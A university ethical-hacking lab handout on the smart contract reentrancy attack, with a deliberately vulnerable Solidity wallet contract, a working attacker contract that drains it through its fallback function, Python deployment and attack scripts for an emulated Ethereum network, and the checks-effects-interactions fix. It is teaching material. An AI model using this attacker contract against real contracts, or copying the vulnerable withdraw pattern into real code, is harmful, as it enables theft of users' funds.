

Smart Contract Reentrancy Attack Lab

Ethical Hacking 2023/24, University of Padua

Eleonora Losiouk, Alessandro Brighente, Gabriele Orazi, Francesco Marchiori

Copyright © 2022 by Wenliang Du. This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License. If you remix, transform, or build upon the material, this copyright notice must be left intact, or reproduced in a way that is reasonable to the medium in which the work is being re-published.

Overview

The DAO (Decentralized Autonomous Organization) attack was one of the major hacks that occurred in the early development of Ethereum. At the time, the contract held over \$150 million. Reentrancy played a major role in the attack, which ultimately led to the hard fork that created Ethereum Classic (ETC) [1, 2]. As of 2022, the reentrancy attack is still a common attack on Ethereum [3]. The purpose of this lab is to give students a hands-on experience on the reentrancy attack. Students are given two smart contracts, a vulnerable one (the victim contract) and an attack contract. Students will go through the entire attack process to see how exactly the attack works. They will see in person how such an attack can steal all the money inside the victim contract. The attack will be conducted on the SEED emulator, with an Ethereum blockchain deployed inside. The topics covered in this lab are the following: - The Reentrancy attack - Blockchain and smart contract - Interacting with Blockchain - The SEED Internet emulator

Lab environment. This lab has been tested on our pre-built Ubuntu 20.04 VM, which can be downloaded from the SEED website. Since we use containers to set up the lab environment, this lab does not depend much on the SEED VM. You can do this lab using other VMs, physical machines, or VMs on the cloud. We recommend the following setup for the virtual machine: at least two CPU cores and at least 4GB of RAM.

1 The Lab Setup and the SEED Internet Emulator

1.1 Emulator

This lab will be performed inside the SEED Internet Emulator (simply called the emulator in this document). We provide a pre-built emulator in two different forms: Python code and container files. The container files are generated from the Python code, but students need to install the SEED Emulator source code from the GitHub to run the Python code. The container files can be directly used without the emulator source code. Instructors who would like to customize the emulator can modify the Python code, generate their own container files, and then provide the files to students, replacing the ones included in the lab setup file. Please download the `Labsetup.zip` file from the web page, and unzip it. The contents inside the `Labsetup/emulator/` folder are the files for the emulator. Inside this folder, there is two Python programs that are used to generate the emulation. We have already run the programs and the generated emulation files are inside the `output/` and `output-small/` folders. Students do not need to run the Python programs.

Students can pick one set of containers based on how much RAM they have given to their underlying virtual machines.

- `blockchain-poa-small.py` and `output-small/`: this setup has only 10 Ethereum nodes on the blockchain; it only requires 4GB of RAM to run.
- `blockchain-poa.py` and `output/`: this setup has more Ethereum nodes, but requires 8GB of RAM to run.

Start the emulation. Go to the container folder, and run the following docker commands to build and start the containers. We recommend that you run the emulator inside the provided SEED Ubuntu 20.04 VM, but doing it in a generic Ubuntu 20.04 operating system should not have any problem, as long as the docker software is installed. Readers can find the docker manual from this link.

```
$ docker-compose build
$ docker-compose up

// Aliases for the Compose commands above (only available in the SEED VM)
$ dcbuild # Alias for: docker-compose build
$ dcup # Alias for: docker-compose up
$ dcdownd # Alias for: docker-compose down
```

1.2 The client code

There are many ways to interact with the Ethereum network, including using existing tools, such as Remix, Metamask, and Hardhat. In this lab, we choose to write our own Python program, which uses the popular `web3.py` library. For convenience, we wrote some wrapper functions, and they are included in `SEEDWeb3.py`. Most of our programs in this lab will import this library. All the provided program can be found in the `Labsetup` folder. The `web3.py` library has not been installed on the SEED Ubuntu 20.04 VM. Students need to install the library. We need to install an old version of web3 library (version 5.31.1), or our code will not run. See the following command:

```
$ pip3 install web3==5.31.1
```

1.3 Connecting to the Blockchain

To conduct activities on the blockchain, we need to do it from a node on the blockchain. Connection to such a node is typically done through HTTP or Web Socket. In our emulator, we have enabled the HTTP server on all Ethereum nodes. To connect to a node, we just need to provide its IP address and port number 8545. The following example connects to the one of the nodes.

```
# Connect to a geth node
web3 = SEEDWeb3.connect_to_geth_poa('http://10.150.0.71:8545')
```

1.4 Accounts

To send a transaction on the blockchain, we need to have a wallet that holds accounts (including both public and private keys), and the accounts must hold enough money to pay for the gas needed for transactions. On each Ethereum node, we have already created several accounts with balance. We will just use these accounts for our transactions. After connecting to an Ethereum node, we can access all its accounts via the `web3.eth.accounts[]` array. In the following example, we choose to use `web3.eth.accounts[1]`. All the accounts (its private keys) in the emulator are encrypted, and the password is `admin`. To use an account, we first need to unlock it using the password.

```
sender_account = web3.eth.accounts[1]
web3.geth.personal.unlockAccount(sender_account, "admin")
```

We also need to get the balance of an account. We have included a Python program that prints out the balance of all the accounts on the node that we connect to. The program name is `get_balance.py`. It basically invokes an API in the `web3.py` library. See the following:

```
web3.eth.get_balance(Web3.toChecksumAddress(address))
```

2 Task 1: Getting Familiar with the Victim Smart Contract

The code below is the vulnerable smart contract that we will be attacking. It is the victim contract, which is a very simple contract. It acts as a wallet for users: users can deposit any amount of ether to this contract; they can also withdraw their money later. The code can be found from the `Labsetup/contract` folder.

```
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.8;
contract ReentrancyVictim {

    mapping (address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint _amount) public {
        require(balances[msg.sender] >= _amount);
        (bool sent, ) = msg.sender.call{value: _amount}("");
        require(sent, "Failed to send Ether");
        balances[msg.sender] -= _amount;
    }

    function getBalance(address _addr) public view returns (uint) {
        return balances[_addr];
    }

    function getContractBalance() public view returns (uint) {
        return address(this).balance;
    }
}
```

Listing 1: The vulnerable smart contract (ReentrancyVictim.sol)

In the following, we explain the purpose of each function, and how the contract works. This is not meant to be a tutorial on smart contract. Students should already have some basic knowledge about smart contract programming.

- **deposit()**: It is invoked by the user willing to put his/her ether in this smart contract. When this function is called, `msg.sender` contains the value of the sender's account address, while `msg.value` contains the amount of ether. It will update a data structure called `balances` which is an internal balance sheet maintained by the smart contract. Because the function has the `payable` modifier, it can send and receive ether. When this function receives ether, the balance of this contract account will be automatically updated. This balance indicates how much ether this smart contract account holds; it is stored in the balance sheet of the entire blockchain.
- **getBalance()**: It takes an address as the parameter and returns the number of ether this address holds in the smart contract.
- **getContractBalance()**: This function returns the total balance of the smart contract. Again, this balance is the one maintained by the blockchain, so we can get the balance directly from the blockchain,

instead of calling this function. If the contract updates its internal balance sheet correctly, the total balance should be the sum of those in the internal balance sheet.

- **withdraw()**: This function takes one parameter, which is the number of ether the caller wants to get back. It is dependent on who invokes it due to the use of `msg.sender` in its implementation. The person calling this function cannot withdraw more ether than what he/she has in the smart contract. The first line of the function does the job of checking the balance of the caller. If the person tries to withdraw more than what he/she has, the program will stop. If the check passes, the caller will be getting the specified amount of ether. The ether is sent using the `call` low-level function and the internal balance sheet is then updated. The blockchain will also automatically update its balance sheet, because the ether held by this smart contract account is now reduced due to the withdrawal. This function has a reentrancy vulnerability, which is what we will be exploiting in our attack. We will explain how the attack works later.

2.1 Task 1.a: Compiling the Contract

In the newer version of Solidity, countermeasures are implemented. Therefore, we will compile the code using Version 0.6.8, which is an older version. The compiler (`solc-0.6.8`) can be found in the `contract` folder. We can use the following command to compile the contract.

```
solc-0.6.8 --overwrite --abi --bin -o . ReentrancyVictim.sol
```

Two files will be generated: the `bin` file and the `abi` file. The `bin` file contains the bytecode of the contract. After a contract is deployed, the bytecode will be stored to the blockchain. ABI stands for Application Binary Interface. The `abi` file contains the API information of the contract. It is needed when we need to interact with a contract, so we know the name of the functions, their parameters and return values.

2.2 Task 1.b: Deploying the Victim Contract

In this task, we will deploy the victim contract to the blockchain. There are many ways to do that. In this lab, we will use our own Python program to do the deployment. The following program is provided in the `Labsetup/victim` folder.

```
abi_file = "../contract/ReentrancyVictim.abi"
bin_file = "../contract/ReentrancyVictim.bin"

# Connect to a geth node
web3 = SEEDWeb3.connect_to_geth_poa('http://10.150.0.71:8545')

# We use web3.eth.accounts[1] as the sender because it has more ethers
sender_account = web3.eth.accounts[1]
web3.geth.personal.unlockAccount(sender_account, "admin")
addr = SEEDWeb3.deploy_contract(web3, sender_account,
                                abi_file, bin_file, None) # $1
print("Victim contract: {}".format(addr))
with open("contract_address_victim.txt", "w") as fd:
    fd.write(addr)
```

Listing 2: Deploying the victim contract (deploy_victim_contract.py)

The actual code to deploy contract is in the `SEEDWeb3` library (the invocation is in Line \$1). As shown in the following code snippet, it basically creates a `Contract` class from the abi and bytecode, and then create a transaction to deploy the contract.

```
contract = web3.eth.contract(abi=abi, bytecode=bytecode)
contract.constructor(...).transact({ 'from': sender_account })
```

2.3 Task 1.c: Interacting with the Victim Contract

After deploying the contract, we will deposit money to this contract from some users' accounts (later, the attacker will steal all the money). The code is included in `fund_victim_contract.py`. In the code, the variable `victim_addr` in \$1 holds the contract address. Students must replace the value with the actual contract address obtained from the deployment step. We choose to deposit money from an Ethereum node. In this example, we use node 10.151.0.71; students should feel free to use other nodes.

```
abi_file = "../contract/ReentrancyVictim.abi"
victim_addr = '0x2c46e14f433E36F17d5D9b1cd958eF9468A90051' # $1

# Connect to our geth node, select the sender account
web3 = SEEDWeb3.connect_to_geth_poa('http://10.151.0.71:8545')
sender_account = web3.eth.accounts[1]
web3.geth.personal.unlockAccount(sender_account, "admin")

# Deposit Ethers to the victim contract
# The attacker will steal them in the attack later
contract_abi = SEEDWeb3.getFileContent(abi_file)
amount = 10 # the unit is ether
contract = web3.eth.contract(address=victim_addr, abi=contract_abi)
tx_hash = contract.functions.deposit().transact({
    'from': sender_account,
    'value': Web3.toWei(amount, 'ether')
})
print("Transaction sent, waiting for the block ...")
tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash)
print("Transaction Receipt: {}".format(tx_receipt))
```

Listing 3: Deposit money (fund_victim_contract.py)

Similarly, we can withdraw our money from the contract. The following code snippet withdraw 1 ether from the contract, and then print out the balance of the sender.

```
amount = 1
contract = web3.eth.contract(address=victim_addr, abi=contract_abi)
tx_hash = contract.functions.withdraw(Web3.toWei(amount, 'ether')).transact({
    'from': sender_account
})
tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash)

# print out the balance of my account via a local call
myBalance = contract.functions.getBalance(sender_account).call()
print("My balance {}: {}".format(sender_account, myBalance))
```

Listing 4: Withdraw money (withdraw_from_victim_contract.py)

Lab task: Please deposit 30 ethers to the victim contract, and then withdraw 5 ethers from it. Please show the balance of the contract.

3 Task 2: The Attacking Contract

To launch the reentrancy attack on the victim contract, the attacker needs to deploy an attack smart contract. An example of the attack contract is already provided in the lab setup and the code is listed below.

```
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.8;
```

```

import "./ReentrancyVictim.sol";

contract ReentrancyAttacker {
    ReentrancyVictim public victim;
    address payable _owner;

    constructor(address payable _addr) public {
        victim = ReentrancyVictim(_addr);
        _owner = payable(msg.sender);
    }

    fallback() external payable {
        if(address(victim).balance >= 1 ether) {
            victim.withdraw(1 ether);
            SEED Labs - Reentrancy Attack Lab 7
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether, "You need to send one ether
                                when attacking");
        victim.deposit{value: 1 ether}();
        victim.withdraw(1 ether);
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }

    function cashOut(address payable _addr) external payable {
        require(msg.sender == _owner);
        _addr.transfer(address(this).balance);
    }
}

```

Listing 5: The attack contract (ReentrancyAttacker.sol)

The most important functions of this contract are `attack()` and `fallback()`. We will explain how this contract can be used to steal all the money from the victim contract. After deploying the contract, the attack invokes the `attack()` function and send at least one ether to this contract. This function will deposit one ether to the victim contract by invoking its `deposit()` function. After depositing the money, the attacker contract immediately withdraw one ether from the victim contract. This is what triggers the attack. Let us see what will happen when the `withdraw()` function is invoked. We list the code of the victim contract's `withdraw()` function below.

```

function withdraw(uint _amount) public {
    require(balances[msg.sender] >= _amount);           # $1

    (bool sent, ) = msg.sender.call{value: _amount}(""); # $2
    ...

    balances[msg.sender] -= _amount;                     # $3
}

```

Line \$1 checks whether the sender (`msg.sender`) has enough money on the balance (if not, the invocation

will fail). Here, `msg.sender` contains the address of the one invoking the contract. Since the victim contract is invoked by the attack contract, the address is the attack contract's address. After passing the balance check, the contract sends the specified amount (Line \$2) to the sender using `msg.sender.call`. This will send the specified amount of ether to `msg.sender`, i.e., the attack contract. This is where the problem occurs. A smart contract typically receive money via a function call (the function must be labeled `payable`), but if it receives money not via a function call (such as through the local `call()` function) from another contract, a default function called `fallback()` will be invoked. The following is the `fallback()` function inside the attack contract.

```
fallback() external payable {
    if(address(victim).balance >= 1 ether) { # $4
        victim.withdraw(1 ether);
    }
}
```

This function invokes the `withdraw()` function again. Because the balance of the victim contract has not been updated yet (in Line \$3), the invocation will pass the balance check on Line \$1, even though the attacker's balance is already zero. This will trigger the `fallback()` function again in the attack contract, which will trigger the `withdraw()` function of the victim contract. This process will repeat until the victim contract's balance is below 1 ether (Line \$4). The following is the function invocation sequence.

`withdraw --> fallback --> withdraw --> fallback --> withdraw ...`

Task. In this task, your job is to deploy the attack contract. The code, which is provided, is similar to the one used to deploy the victim contract. It should be noted that the attack contract must know the address of the victim contract. Therefore, students need to modify the code `deploy_attack_contract.py` to provide the correct address of the victim contract.

4 Task 3: Launching the Reentrancy Attack

To launch the attack, we just need to invoke the `attack()` function of the attack contract. We need to send 1 ether to the contract during the invocation. The attack contract will deposit this 1 ether to the victim contract, or it will not be able to withdraw money from the victim contract. The code (listed below) is provided in the lab setup, but the address of the attack contract needs to be modified in the code.

```
abi_file = "../contract/ReentrancyAttacker.abi"
attacker_addr = 'put the correct address here'

# Launch the attack
contract_abi = SEEDWeb3.getFileContent(abi_file)
contract = web3.eth.contract(address=attacker_addr, abi=contract_abi)
tx_hash = contract.functions.attack().transact({
    'from': sender_account,
    'value': Web3.toWei('1', 'ether')
})
tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash)
print("Transaction Receipt: {}".format(tx_receipt))
```

Listing 6: The code to launch the attack (`deploy_attack_contract.py`)

Please show that you can launch the attack to steal all the money from the victim contract. You can use the `get_balance.py` script to print out the balance of any account. After stealing all the money, you can use the `cashout.py` to move all the money out of the attack smart contract, to another account owned by the attacker.

5 Task 4: Countermeasures

There are a number of common techniques that help avoid potential reentrancy vulnerabilities in smart contracts. Readers can read [2] for details. One common technique is to ensure that all logic that changes state variables happens before ether is sent out of the contract (or any external call). In the victim contract, the update of the balance happens after the call, so if the call does not return, the balance will not be updated. In smart contract programs, it is a good practice for any code that performs external calls to unknown addresses to be the last operation in a localized function or piece of code execution. This is known as the **checks-effects-interactions** pattern.

Using this principle, we can easily fix the problem. See the following example. Please revise the victim contract, repeat the attack, and report your observation.

```
function withdraw(uint _amount) public {
    require(balances[msg.sender] >= _amount);

    balances[msg.sender] -= _amount;

    (bool sent, ) = msg.sender.call{value: _amount}("");
    require(sent, "Failed to send Ether");
}
```

Note: It seems that the newer Solidity versions have built-in protection against the reentrancy attack. However, not enough details are given in the documentation. Here is a discussion found from the Ethereum GitHub repository.

6 References

1. Phil Daian, “Analysis of the DAO exploit”, 2016
2. Andreas M. Antonopoulos and Gavin Wood, “Mastering Ethereum”, 2018
3. GitHub Contributor, “A Historical Collection of Reentrancy Attacks”, 2022